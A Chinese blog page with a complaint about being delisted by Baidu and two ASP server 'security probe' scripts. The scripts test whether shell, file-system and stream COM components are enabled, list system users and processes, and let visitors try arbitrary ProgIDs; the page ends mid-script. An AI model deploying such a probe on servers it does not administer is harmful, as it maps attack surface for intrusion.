iboer web studio - 首页 - LUPA开源社区

iboer

用户菜单

日历

存档

搜索标题

我的好友

袁萌

统计信息

访问量: 731
日志数: 5
书签数: 3
建立时间: 2007-11-25
更新时间: 2008-03-11

有一种沉默叫霸气|有一种内敛叫个性|有一种简单叫深遂|有一种不屑叫自我

我的最新日志

iboer突然消失在百度

2008-3-11

iboer突然在消失百度,一直是百度公司的FAN4.是你改变了百度,还是百度改变了你!

今天终于醒来,百度一直在摆渡,水烟----百度!

百度真的让人千百渡吗?我一个小小的网站,一个健康的网站也要封杀?

前期的百度自己在摆渡,现在的百度依然在百度,度过一个企业倒栽葱的年份.十年前,十年后,从少年到青年.

百度给大家的是很多,回答是肯定的.百度李总常常上节目说的一句话,就是专注去做"中文搜索引擎",专注做技

术!!是百度在摆渡?还是世人被百度?

全然不能理解,也不想去想解~ 如果百度随意K一个站的话,那还有什么品牌可言呢?那还是什么专注可言呢?

百度为了发展,你们钱少,可以利用现有的资本去挣钱啊.玩全没有必要,这样恶搞,无理取闹地人工操控搜索引擎.

百度不能再摆渡了,给自己留一条生路吧.

查看(8) 评论(0)
iboerwebsafecheck.asp

2007-12-01

<%@ Language="VBscrīpt" %>
<% Option Explicit
'http://www.iboer.com
'保留所有权利
'技术支持请访问 http://www.iboer.com
%>
<object runat="server" id="ws" scope="page" classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat="server" id="ws" scope="page" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="net" scope="page" classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat="server" id="net" scope="page" classid="clsid:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<object runat="server" id="ado" scope="page" classid="clsid:00000566-0000-0010-8000-00AA006D2EA4"></object>
<object runat="server" id="app" scope="page" classid="clsid:13709620-C279-11CE-A49E-444553540000"></object>
<object runat="server" id="hap" scope="page" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"></object>

<object runat="server" id="x1" scope="page" classid="clsid:2933BF90-7B36-11d2-B20E-00C04F983E60"></object>
<object runat="server" id="x2" scope="page" classid="clsid:f5078f1b-c551-11d3-89b9-0000f81fe221"></object>
<object runat="server" id="x3" scope="page" classid="clsid:f5078f32-c551-11d3-89b9-0000f81fe221"></object>
<object runat="server" id="x4" scope="page" classid="clsid:88d969c0-f192-11d4-a65f-0040963251e5"></object>

<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<TITLE>7i24.Com ASP安全检测-V1.4</TITLE>
<style>

</STYLE>
</HEAD>
<BODY>
7i24ASP安全检测-<font color=green>V1.3</font><br>

<br>

<font color=green>服务器的有关参数</font>
<table border=0 width=450 cellspacing=0 cellpadding=0 bgcolor="#3F8805">
<tr><td>

<table border=0 width=450 cellspacing=1 cellpadding=0>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器名</td><td> <%=Request.ServerVariables("SERVER_NAME")%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器IP</td><td> <%=Request.ServerVariables("LOCAL_ADDR")%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器端口</td><td> <%=Request.ServerVariables("SERVER_PORT")%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器时间</td><td> <%=now%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> IIS版本</td><td> <%=Request.ServerVariables("SERVER_SOFTWARE")%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 脚本超时时间</td><td> <%=Server.scrīptTimeout%> 秒</td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 本文件路径</td><td> <%=server.mappath(Request.ServerVariables("scrīpt_NAME"))%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器CPU数量</td><td> <%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个</td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器解译引擎</td><td> <%=scrīptEngine & "/"& scrīptEngineMajorVersion &"."&scrīptEngineMinorVersion&"."& scrīptEngineBuildVersion %></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器操作系统</td><td> <%=Request.ServerVariables("OS")%></td>
   </tr>
</table>

</td></tr>
</table>
<br>

<font color="#FF0000"><br>
■ 安全描述</font>
<table border=0 width=648 cellspacing=0 cellpadding=0 bgcolor="#FF0000">
<tr><td>

<table width=100% border=0 cellpadding=0 cellspacing=1>
<tr height=18 style="color:#ffffff" align=center>
<td width=179>组件名称</td>
<td width=466>状态</td>
</tr>
<tr bgcolor="#EEFEE0" height=18>
  <td align=left> Wscrīpt.Shell</td>
  <td align="center"><%
dim havews
havews=IsObjInstalledX
Function IsObjInstalledX()
On Error Resume Next
IsObjInstalledX = False
Err = 0
ws.exec()
If 0 = Err Then
IsObjInstalledX = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="#FF0000">提示信息中必须是"创建对象失败"或"Create object failed"才是安全的！如果是没有提示信息表明非常危险！</font></a></td>
   </tr>
<tr bgcolor="#EEFEE0" height=18>
  <td align=left> Shell.application</td>
  <td align="center"><%
havews=IsObjInstalledX2
Function IsObjInstalledX2()
On Error Resume Next
IsObjInstalledX2 = False
Err = 0
app.exec()
If 0 = Err Then
IsObjInstalledX2 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="#FF0000">提示信息中必须是"创建对象失败"或"Create object failed"才是安全的！如果是没有提示信息表明非常危险！</font></a></td>
   </tr>

<tr bgcolor="#EEFEE0" height=18>
  <td align=left> Wscrīpt.NETWORK
</td>
  <td align="center"><%
havews=IsObjInstalledX3
Function IsObjInstalledX3()
On Error Resume Next
IsObjInstalledX3 = False
Err = 0
net.exec()
If 0 = Err Then
IsObjInstalledX3 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="#FF0000">提示信息中必须是"创建对象失败"或"Create object failed"才是安全的！如果是没有提示信息表明非常危险！</font></a></td>
   </tr>

<tr bgcolor="#EEFEE0" height=18>
  <td align=left> scrīpting.FileSystemObject</td>
  <td align="center"><%
havews=IsObjInstalledX4
Function IsObjInstalledX4()
On Error Resume Next
IsObjInstalledX4 = False
Err = 0
fso.exec()
If 0 = Err Then
IsObjInstalledX4 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">FSO只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>

<tr bgcolor="#EEFEE0" height=18>
  <td align=left> ADODB.Stream
</td>
  <td align="center"><%
havews=IsObjInstalledX5
Function IsObjInstalledX5()
On Error Resume Next
IsObjInstalledX5 = False
Err = 0
ado.exec()
If 0 = Err Then
IsObjInstalledX5 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">ADODB.Stream只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>

<tr bgcolor="#EEFEE0" height=18>
  <td align=left> HappyTime
</td>
  <td align="center"><%

havews=IsObjInstalledXHAP
Function IsObjInstalledXHAP()
On Error Resume Next
IsObjInstalledXHAP = False
Err = 0
hap.Reset
If 0 = Err Then
IsObjInstalledXHAP = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">欢乐时间病毒组件只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>

<tr bgcolor="#EEFEE0" height=18>
  <td align=left> XML_A
</td>
  <td align="center"><%
havews=IsObjInstalledX6
Function IsObjInstalledX6()
On Error Resume Next
IsObjInstalledX6 = False
Err = 0
x1.exec()
If 0 = Err Then
IsObjInstalledX6 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">XML有类似于FSO的操作权限，只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>

<tr bgcolor="#EEFEE0" height=18>
  <td align=left> XML_B
</td>
  <td align="center"><%
havews=IsObjInstalledX7
Function IsObjInstalledX7()
On Error Resume Next
IsObjInstalledX7 = False
Err = 0
x2.exec()
If 0 = Err Then
IsObjInstalledX7 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">XML有类似于FSO的操作权限，只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>

<tr bgcolor="#EEFEE0" height=18>
  <td align=left> XML_C
</td>
  <td align="center"><%
havews=IsObjInstalledX8
Function IsObjInstalledX8()
On Error Resume Next
IsObjInstalledX8 = False
Err = 0
x3.exec()
If 0 = Err Then
IsObjInstalledX8 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">XML有类似于FSO的操作权限，只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>

<tr bgcolor="#EEFEE0" height=18>
  <td align=left> XML_D
</td>
  <td align="center"><%
havews=IsObjInstalledX9
Function IsObjInstalledX9()
On Error Resume Next
IsObjInstalledX9 = False
Err = 0
x4.exec()
If 0 = Err Then
IsObjInstalledX9 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">XML有类似于FSO的操作权限，只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>

<tr height=18 style="color:#ffffff" align=center>
<td width=179>内容</td>
<td width=466>状态<font color="#FFFF00">(如果下面能列出用户名或进程都表示不安全！)</font></td>
</tr>

<%
dim obj
on error resume next
  for each obj in getObject("WinNT://.")
   err.clear%>
    <tr bgcolor="#EEFEE0" height=18>
  <td align=center>
    <%if err then
%>系统用户(组)<%else%>系统进程<%end if%>
</td>
  <td>　　<a href="http://www.iboer.com" target="_blank"><%=obj.Name%>
  <%if err then
  else
%>(<%=obj.DisplayName%>)<%end if%>
  <br>　　<%=obj.path%><font color="blue"></font></a></td>
   </tr>
   <%
   next
%>

</table>

</td></tr>

</table>

<br>
<font color=green>ASP脚本解释和运算速度测试</font><br>
我们让服务器执行500万次“1＋1”的计算，记录其所使用的时间。
<table border=0 width=450 cellspacing=0 cellpadding=0 bgcolor="#3F8805">
<tr><td>

<table border=0 width=450 cellspacing=1 cellpadding=0>
   <tr style="color:#ffffff" height=18>
  <td align=center>服   务   器</td><td align=center>完成时间</td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
    <td align=left> PIV 2G</td>
          <td> 3 秒</td>
   </tr>
   <form action="<%=Request.ServerVariables("scrīpt_NAME")%>" method=post>
<%
if Request.Form("test") <> "" then

dim t1,t2,lsabc,thetime
t1=now
for i=1 to 5000000
  lsabc= 1 + 1
next
t2=now

thetime=cstr(int(cdbl((t2-t1)*24*60*60)+0.5))
%>
   <tr bgcolor="#EEFEE0" height=25>
  <td align=left> <font color=red>您正在使用的这台服务器</font> <INPUT type="submit" value="重新测试" class=backc id=submit2 name=test></td><td> <font color=red><%=thetime%> 秒</font></td>
   </tr>
<%else%>
   <tr bgcolor="#EEFEE0" height=25>
  <td align=left> <font color=red>您正在使用的这台服务器</font></td><td> <INPUT type="submit" value="测试" class=backc id=submit2 name=test></td>
   </tr>
<%end if%>
   </form>
</table>

</td></tr>
</table>

<br>
<table border=0 width=450 cellspacing=0 cellpadding=0>
<tr>
    <td align=center>    <a href="http://www.iboer.com" target="_blank">http://www.iboer.com</a> <a href="http://www.iboer.com" target="_blank">Iboer 中国领先的服务器软件与空间提供商 </a></td>
</tr>
</table>
</BODY>
</HTML>

查看(46) 评论(0)
iboer safe.asp

2007-12-01

<%@ Language="VBscrīpt" %>
<%
'http://www.iboer.com
'保留所有权利
'技术支持请访问 http://www.iboer.com

Response.Buffer = true

Dim ObjTotest(26,4)

ObjTotest(0,0) = "MSWC.AdRotator"
ObjTotest(1,0) = "MSWC.BrowserType"
ObjTotest(2,0) = "MSWC.NextLink"
ObjTotest(3,0) = "MSWC.Tools"
ObjTotest(4,0) = "MSWC.Status"
ObjTotest(5,0) = "MSWC.Counters"
ObjTotest(6,0) = "IISSample.ContentRotator"
ObjTotest(7,0) = "IISSample.PageCounter"
ObjTotest(8,0) = "MSWC.PermissionChecker"
ObjTotest(9,0) = "scrīpting.FileSystemObject"
ObjTotest(9,1) = "(FSO 文本文件读写)"
ObjTotest(10,0) = "adodb.connection"
ObjTotest(10,1) = "(ADO 数据对象)"

ObjTotest(11,0) = "SoftArtisans.FileUp"
ObjTotest(11,1) = "(SA-FileUp 文件上传)"
ObjTotest(12,0) = "SoftArtisans.FileManager"
ObjTotest(12,1) = "(SoftArtisans 文件管理)"
ObjTotest(13,0) = "LyfUpload.UploadFile"
ObjTotest(13,1) = "(刘云峰的文件上传组件)"
ObjTotest(14,0) = "Persits.Upload.1"
ObjTotest(14,1) = "(ASPUpload 文件上传)"
ObjTotest(15,0) = "w3.upload"
ObjTotest(15,1) = "(Dimac 文件上传)"

ObjTotest(16,0) = "JMail.SmtpMail"
ObjTotest(16,1) = "(Dimac JMail 邮件收发)"
ObjTotest(17,0) = "CDONTS.NewMail"
ObjTotest(17,1) = "(虚拟 SMTP 发信)"
ObjTotest(18,0) = "Persits.MailSender"
ObjTotest(18,1) = "(ASPemail 发信)"
ObjTotest(19,0) = "SMTPsvg.Mailer"
ObjTotest(19,1) = "(ASPmail 发信)"
ObjTotest(20,0) = "DkQmail.Qmail"
ObjTotest(20,1) = "(dkQmail 发信)"
ObjTotest(21,0) = "Geocel.Mailer"
ObjTotest(21,1) = "(Geocel 发信)"
ObjTotest(22,0) = "IISmail.Iismail.1"
ObjTotest(22,1) = "(IISmail 发信)"
ObjTotest(23,0) = "SmtpMail.SmtpMail.1"
ObjTotest(23,1) = "(SmtpMail 发信)"

ObjTotest(24,0) = "SoftArtisans.ImageGen"
ObjTotest(24,1) = "(SA 的图像读写组件)"
ObjTotest(25,0) = "W3Image.Image"
ObjTotest(25,1) = "(Dimac 的图像读写组件)"

public IsObj,VerObj,TestObj
public okOS,okCPUS,okCPU

'检查预查组件支持情况及版本

dim i
for i=0 to 25
on error resume next
IsObj=false
VerObj=""
'dim TestObj
TestObj=""
set TestObj=server.CreateObject(ObjTotest(i,0))
If -2147221005 <> Err then  '感谢网友bander的宝贵建议
  IsObj = True
  VerObj = TestObj.version
  if VerObj="" or isnull(VerObj) then VerObj=TestObj.about
end if
ObjTotest(i,2)=IsObj
ObjTotest(i,3)=VerObj
next

'检查组件是否被支持及组件版本的子程序
sub ObjTest(strObj)
on error resume next
IsObj=false
VerObj=""
TestObj=""
set TestObj=server.CreateObject (strObj)
If -2147221005 <> Err then  '感谢网友bander的宝贵建议
  IsObj = True
  VerObj = TestObj.version
  if VerObj="" or isnull(VerObj) then VerObj=TestObj.about
end if
End sub
%>
<object runat="server" id="ws" scope="page" classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat="server" id="ws" scope="page" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="net" scope="page" classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat="server" id="net" scope="page" classid="clsid:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<object runat="server" id="ado" scope="page" classid="clsid:00000566-0000-0010-8000-00AA006D2EA4"></object>
<object runat="server" id="app" scope="page" classid="clsid:13709620-C279-11CE-A49E-444553540000"></object>
<object runat="server" id="hap" scope="page" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"></object>
<object runat="server" id="x1" scope="page" classid="clsid:2933BF90-7B36-11d2-B20E-00C04F983E60"></object>
<object runat="server" id="x2" scope="page" classid="clsid:f5078f1b-c551-11d3-89b9-0000f81fe221"></object>
<object runat="server" id="x3" scope="page" classid="clsid:f5078f32-c551-11d3-89b9-0000f81fe221"></object>
<object runat="server" id="x4" scope="page" classid="clsid:88d969c0-f192-11d4-a65f-0040963251e5"></object>

<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<TITLE>iboer改写的探针</TITLE>
<style>

</STYLE>
</HEAD>
<BODY>
iboer改写的安全探针-Ver20071201<br>

<br>

<font class=fonts>服务器的有关参数</font>
<table border=0 width=450 cellspacing=0 cellpadding=0 bgcolor="#3F8805">
<tr><td>

<table border=0 width=450 cellspacing=1 cellpadding=0>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器名</td><td> <%=Request.ServerVariables("SERVER_NAME")%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器IP</td><td> <%=Request.ServerVariables("LOCAL_ADDR")%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器端口</td><td> <%=Request.ServerVariables("SERVER_PORT")%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器时间</td><td> <%=now%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> IIS版本</td><td> <%=Request.ServerVariables("SERVER_SOFTWARE")%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 脚本超时时间</td><td> <%=Server.scrīptTimeout%> 秒</td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 本文件路径</td><td> <%=Request.ServerVariables("PATH_TRANSLATED")%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器解译引擎</td><td> <%=scrīptEngine & "/"& scrīptEngineMajorVersion &"."&scrīptEngineMinorVersion&"."& scrīptEngineBuildVersion %></td>
   </tr>
<%getsysinfo() '获得服务器数据%>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器CPU数量</td><td> <%=okCPUS%> 个</td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器CPU详情</td><td> <%=okCPU%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left> 服务器操作系统</td><td> <%=okOS%></td>
   </tr>
</table>

</td></tr>
</table>
<br>
<font class=fonts>组件支持情况</font>
<%
Dim strClass
strClass = Trim(Request.Form("classname"))
If "" <> strClass then
Response.Write "<br>您指定的组件的检查结果："
Dim Verobj1
ObjTest(strClass)
   If Not IsObj then
  Response.Write "<br><font color=red>很遗憾，该服务器不支持 " & strclass & " 组件！</font>"
   Else
  if VerObj="" or isnull(VerObj) then
   Verobj1="无法取得该组件版本"
  Else
   Verobj1="该组件版本是：" & VerObj
  End If
  Response.Write "<br><font class=fonts>恭喜！该服务器支持 " & strclass & " 组件。" & verobj1 & "</font>"
   End If
   Response.Write "<br>"
end if
%>

<br>■ IIS自带的ASP组件
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#3F8805" width="450">
<tr height=18 class=backs align=center><td width=320>组件名称</td><td width=130>支持及版本</td></tr>
<%For i=0 to 10%>
<tr height="18" class=backq>
  <td align=left> <%=ObjTotest(i,0) & "<font color=#888888> " & ObjTotest(i,1)%></font></td>
  <td align=left> <%
  If Not ObjTotest(i,2) Then
   Response.Write "<font color=red><b>×</b></font>"
  Else
   Response.Write "<font class=fonts><b>√</b></font> <a title='" & ObjTotest(i,3) & "'>" & left(ObjTotest(i,3),11) & "</a>"
  End If%></td>
</tr>
<%next%>
</table>

<br>■ 常见的文件上传和管理组件
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#3F8805" width="450">
<tr height=18 class=backs align=center><td width=320>组件名称</td><td width=130>支持及版本</td></tr>
<%For i=11 to 15%>
<tr height="18" class=backq>
  <td align=left> <%=ObjTotest(i,0) & "<font color=#888888> " & ObjTotest(i,1)%></font></td>
  <td align=left> <%
  If Not ObjTotest(i,2) Then
   Response.Write "<font color=red><b>×</b></font>"
  Else
   Response.Write "<font class=fonts><b>√</b></font> <a title='" & ObjTotest(i,3) & "'>" & left(ObjTotest(i,3),11) & "</a>"
  End If%></td>
</tr>
<%next%>
</table>

<br>■ 常见的收发邮件组件
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#3F8805" width="450">
<tr height=18 class=backs align=center><td width=320>组件名称</td><td width=130>支持及版本</td></tr>
<%For i=16 to 23%>
<tr height="18" class=backq>
  <td align=left> <%=ObjTotest(i,0) & "<font color=#888888> " & ObjTotest(i,1)%></font></td>
  <td align=left> <%
  If Not ObjTotest(i,2) Then
   Response.Write "<font color=red><b>×</b></font>"
  Else
   Response.Write "<font class=fonts><b>√</b></font> <a title='" & ObjTotest(i,3) & "'>" & left(ObjTotest(i,3),11) & "</a>"
  End If%></td>
</tr>
<%next%>
</table>

<br>■ 图像处理组件
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#3F8805" width="450">
<tr height=18 class=backs align=center><td width=320>组件名称</td><td width=130>支持及版本</td></tr>
<%For i=24 to 25%>
<tr height="18" class=backq>
  <td align=left> <%=ObjTotest(i,0) & "<font color=#888888> " & ObjTotest(i,1)%></font></td>
  <td align=left> <%
  If Not ObjTotest(i,2) Then
   Response.Write "<font color=red><b>×</b></font>"
  Else
   Response.Write "<font class=fonts><b>√</b></font> <a title='" & ObjTotest(i,3) & "'>" & left(ObjTotest(i,3),11) & "</a>"
  End If%></td>
</tr>
<%next%>
</table>

<br>
<font color="#FF0000"><br>
■ 安全描述</font>
<table border=0 width=648 cellspacing=0 cellpadding=0 bgcolor="#FF0000">
<tr>
    <td><table width=100% border=0 cellpadding=0 cellspacing=1>
        <tr height=18 style="color:#ffffff" align=center>
          <td width=179>组件名称</td>
          <td width=466>状态</td>
        </tr>
        <tr bgcolor="#EEFEE0" height=18>
          <td align=left> Wscrīpt.Shell</td>
          <td align="center"><%
dim havews
havews=IsObjInstalledX
Function IsObjInstalledX()
On Error Resume Next
IsObjInstalledX = False
Err = 0
ws.exec()
If 0 = Err Then
IsObjInstalledX = True
end if
Err = 0
End Function
  %>
              <a href="http://www.iboer.com" target="_blank"> 建立组件提示信息： <br>
              <font color="#FF0000">提示信息中必须是"创建对象失败"或"Create object failed"才是安全的！如果是没有提示信息表明非常危险！</font></a></td>
        </tr>
        <tr bgcolor="#EEFEE0" height=18>
          <td align=left> Shell.application</td>
          <td align="center"><%
havews=IsObjInstalledX2
Function IsObjInstalledX2()
On Error Resume Next
IsObjInstalledX2 = False
Err = 0
app.exec()
If 0 = Err Then
IsObjInstalledX2 = True
end if
Err = 0
End Function
  %>
              <a href="http://www.iboer.com" target="_blank"> 建立组件提示信息： <br>
              <font color="#FF0000">提示信息中必须是"创建对象失败"或"Create object failed"才是安全的！如果是没有提示信息表明非常危险！</font></a></td>
        </tr>
        <tr bgcolor="#EEFEE0" height=18>
          <td align=left> Wscrīpt.NETWORK </td>
          <td align="center"><%
havews=IsObjInstalledX3
Function IsObjInstalledX3()
On Error Resume Next
IsObjInstalledX3 = False
Err = 0
net.exec()
If 0 = Err Then
IsObjInstalledX3 = True
end if
Err = 0
End Function
  %>
              <a href="http://www.iboer.com" target="_blank"> 建立组件提示信息： <br>
              <font color="#FF0000">提示信息中必须是"创建对象失败"或"Create object failed"才是安全的！如果是没有提示信息表明非常危险！</font></a></td>
        </tr>
        <tr bgcolor="#EEFEE0" height=18>
          <td align=left> scrīpting.FileSystemObject</td>
          <td align="center"><%
havews=IsObjInstalledX4
Function IsObjInstalledX4()
On Error Resume Next
IsObjInstalledX4 = False
Err = 0
fso.exec()
If 0 = Err Then
IsObjInstalledX4 = True
end if
Err = 0
End Function
  %>
              <a href="http://www.iboer.com" target="_blank"> 建立组件提示信息： <br>
              <font color="blue">FSO只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
        </tr>
        <tr bgcolor="#EEFEE0" height=18>
          <td align=left> ADODB.Stream </td>
          <td align="center"><%
havews=IsObjInstalledX5
Function IsObjInstalledX5()
On Error Resume Next
IsObjInstalledX5 = False
Err = 0
ado.exec()
If 0 = Err Then
IsObjInstalledX5 = True
end if
Err = 0
End Function
  %>
              <a href="http://www.iboer.com" target="_blank"> 建立组件提示信息： <br>
              <font color="blue">ADODB.Stream只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
        </tr>

<tr bgcolor="#EEFEE0" height=18>
  <td align=left> HappyTime
</td>
  <td align="center"><%

havews=IsObjInstalledXHAP
Function IsObjInstalledXHAP()
On Error Resume Next
IsObjInstalledXHAP = False
Err = 0
hap.Reset
If 0 = Err Then
IsObjInstalledXHAP = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">欢乐时间病毒组件只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>

        <tr bgcolor="#EEFEE0" height=18>
          <td align=left> XML_A </td>
          <td align="center"><%
havews=IsObjInstalledX6
Function IsObjInstalledX6()
On Error Resume Next
IsObjInstalledX6 = False
Err = 0
x1.exec()
If 0 = Err Then
IsObjInstalledX6 = True
end if
Err = 0
End Function
  %>
              <a href="http://www.iboer.com" target="_blank"> 建立组件提示信息： <br>
              <font color="blue">XML有类似于FSO的操作权限，只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
        </tr>

        <tr bgcolor="#EEFEE0" height=18>
          <td align=left> XML_B </td>
          <td align="center"><%
havews=IsObjInstalledX7
Function IsObjInstalledX7()
On Error Resume Next
IsObjInstalledX7 = False
Err = 0
x2.exec()
If 0 = Err Then
IsObjInstalledX7 = True
end if
Err = 0
End Function
  %>
              <a href="http://www.iboer.com" target="_blank"> 建立组件提示信息： <br>
              <font color="blue">XML有类似于FSO的操作权限，只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
        </tr>
        <tr bgcolor="#EEFEE0" height=18>
          <td align=left> XML_C </td>
          <td align="center"><%
havews=IsObjInstalledX8
Function IsObjInstalledX8()
On Error Resume Next
IsObjInstalledX8 = False
Err = 0
x3.exec()
If 0 = Err Then
IsObjInstalledX8 = True
end if
Err = 0
End Function
  %>
              <a href="http://www.iboer.com" target="_blank"> 建立组件提示信息： <br>
              <font color="blue">XML有类似于FSO的操作权限，只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
        </tr>
        <tr bgcolor="#EEFEE0" height=18>
          <td align=left> XML_D </td>
          <td align="center"><%
havews=IsObjInstalledX9
Function IsObjInstalledX9()
On Error Resume Next
IsObjInstalledX9 = False
Err = 0
x4.exec()
If 0 = Err Then
IsObjInstalledX9 = True
end if
Err = 0
End Function
  %>
              <a href="http://www.iboer.com" target="_blank"> 建立组件提示信息： <br>
              <font color="blue">XML有类似于FSO的操作权限，只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
        </tr>
        <tr height=18 style="color:#ffffff" align=center>
          <td width=179>内容</td>
          <td width=466>状态<font color="#FFFF00">(如果下面能列出用户名或进程都表示不安全！)</font></td>
        </tr>
        <%
dim obj
on error resume next
  for each obj in getObject("WinNT://.")
   err.clear%>
        <tr bgcolor="#EEFEE0" height=18>
          <td align=center>
              <%if err then
%>
              系统用户(组)
              <%else%>
              系统进程
              <%end if%>
          </td>
          <td>　　<a href="http://www.iboer.com" target="_blank"><%=obj.Name%>
                <%if err then
  else
%>
                (<%=obj.DisplayName%>)
                <%end if%>
                <br>
                　　
                <%=obj.path%><font color="blue"></font></a></td>
        </tr>
        <%
   next
%>
    </table></td>
</tr>
</table>
<br>
<br>
■ 其他组件支持情况检测<br>
在下面的输入框中输入你要检测的组件的ProgId或ClassId。
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#3F8805" width="450">
<FORM action=<%=Request.ServerVariables("scrīpt_NAME")%> method=post id=form1 name=form1>
<tr height="18" class=backq>
  <td align=center height=30><input class=input type=text value="" name="classname" size=40>
<INPUT type=submit value=" 确定 " class=backc id=submit1 name=submit1>
<INPUT type=reset value=" 重填 " class=backc id=reset1 name=reset1>
</td>
    </tr>
</FORM>
</table>

<%
Response.Flush

if ObjTest("scrīpting.FileSystemObject") then

set fsoobj=server.CreateObject("scrīpting.FileSystemObject")

%>

<br><font class=fonts>磁盘相关测试</font>

<br>■ 服务器磁盘信息

<table class=backq border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#3F8805" width="450">
<tr height="18" align=center class="backs">
<td width="100">盘符和磁盘类型</td>
<td width="50">就绪</td>
<td width="80">卷标</td>
<td width="60">文件系统</td>
<td width="80">可用空间</td>
<td width="80">总空间</td>
</tr>
<%

' 测试磁盘信息的想法来自“COCOON ASP 探针”

set drvObj=fsoobj.Drives
for each d in drvObj
%>
<tr height="18" align=center>
